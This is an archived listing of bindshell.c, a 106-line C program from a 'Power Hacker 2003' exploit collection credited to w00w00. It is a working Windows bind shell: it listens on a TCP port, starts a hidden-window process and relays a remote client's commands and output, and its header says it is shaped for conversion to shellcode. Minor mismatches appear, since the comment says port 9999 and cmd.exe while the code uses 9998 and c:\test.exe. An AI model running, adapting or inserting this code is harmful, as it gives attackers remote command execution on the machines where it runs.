home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / shellcode / windows / bindshell.c next >
Encoding:
C/C++ Source or Header  |  2002-01-01  |  3.0 KB  |  106 lines

  1. // Copyright (C) 2001, Matt Conover (Shok) & w00w00
  2. // http://www.w00w00.org
  3. //
  4. // Binds cmd.exe to a TCP port (9999 by default)
  5. // I set this up in a format to make it easier to port to shellcode
  6.  
  7. #include <stdio.h>
  8. #include <winsock.h>
  9.  
  10. #define PORT 9998
  11. #define BUFSIZE 1024
  12.  
  13. void main(int argc, char* argv[])
  14. {
  15.    register int numbytes;
  16.    int socklen;
  17.    char *membuf;
  18.  
  19.    SECURITY_ATTRIBUTES security_attributes;
  20.    STARTUPINFO startup_info;
  21.    HANDLE StdOutputRead, StdOutputWrite, StdInputRead, StdInputWrite;
  22.  
  23.    WSADATA wsaData;
  24.    SOCKET serverfd = INVALID_SOCKET, clientfd = INVALID_SOCKET;
  25.    SOCKADDR_IN serversin, clientsin;
  26.  
  27.    // Socket initialization
  28.    WSAStartup(MAKEWORD(1, 1), &wsaData);
  29.    serverfd = socket(AF_INET, SOCK_STREAM, 0);
  30.  
  31.    memset(&serversin, 0, sizeof(serversin));
  32.    serversin.sin_family = AF_INET;
  33.    serversin.sin_port = htons(PORT);
  34.  
  35.    if (bind(serverfd, (LPSOCKADDR)&serversin, sizeof(serversin)) < 0) goto exit_process;
  36.    listen(serverfd, 0);
  37.  
  38.    // Set handles to inheritable
  39.    security_attributes.nLength = sizeof(SECURITY_ATTRIBUTES);
  40.    security_attributes.bInheritHandle = true;
  41.    security_attributes.lpSecurityDescriptor = NULL;
  42.  
  43.    // Setup input and output pipes for shell
  44.    CreatePipe(&StdOutputRead, &StdOutputWrite, &security_attributes, 0);
  45.    CreatePipe(&StdInputRead, &StdInputWrite, &security_attributes, 0);
  46.  
  47.    // Create a child process that will inherit the input and output
  48.    // handles of the pipes and have a hidden window
  49.    GetStartupInfo(&startup_info);
  50.    startup_info.hStdOutput = startup_info.hStdError = StdOutputWrite;
  51.    startup_info.hStdInput = StdInputRead;
  52.    startup_info.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  53.    startup_info.wShowWindow = SW_HIDE;
  54.  
  55.    if (!CreateProcess(NULL, "c:\\test.exe", NULL, NULL, true, 0, NULL, NULL, &startup_info, (PROCESS_INFORMATION *)&startup_info))
  56.    {
  57.      goto exit_process;
  58.    }
  59.  
  60.    CloseHandle(StdOutputWrite);
  61.    CloseHandle(StdInputRead);
  62.  
  63.    // Wait for an incoming connection
  64.    socklen = sizeof(clientsin);
  65.    clientfd = accept(serverfd, (LPSOCKADDR)&clientsin, &socklen);
  66.    
  67.    // Allocate the memory buffer it will use
  68.    membuf = (char *)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT, BUFSIZE);
  69.  
  70. cmd_data: // read if there is data from cmd.exe
  71.    if (!PeekNamedPipe(StdOutputRead, NULL, 0, NULL, (DWORD *)&numbytes, 0))
  72.    {
  73.      goto exit_process;
  74.    }
  75.  
  76.    if (numbytes == 0) goto client_data;
  77.  
  78.    if (!ReadFile(StdOutputRead, membuf, BUFSIZE, (DWORD *)&numbytes, NULL))
  79.    {
  80.      goto exit_process;
  81.    }
  82.  
  83.    if (send(clientfd, membuf, numbytes, 0) <= 0) goto exit_process;
  84.    goto client_data;
  85.  
  86. sleep_and_repeat:
  87.    Sleep(50);
  88.    goto cmd_data;
  89.  
  90. client_data: // read new user data and send it to cmd.exe
  91.    numbytes = recv(clientfd, membuf, BUFSIZE, 0);
  92.    if (numbytes <= 0) goto exit_process;
  93.  
  94.    if (!WriteFile(StdInputWrite, membuf, numbytes, (DWORD *)&numbytes, NULL))
  95.    {
  96.      goto exit_process;
  97.    }
  98.  
  99.    goto sleep_and_repeat;
  100.  
  101. exit_process:
  102.    closesocket(clientfd);
  103.    closesocket(serverfd);
  104.    ExitProcess(-1);
  105. }
  106.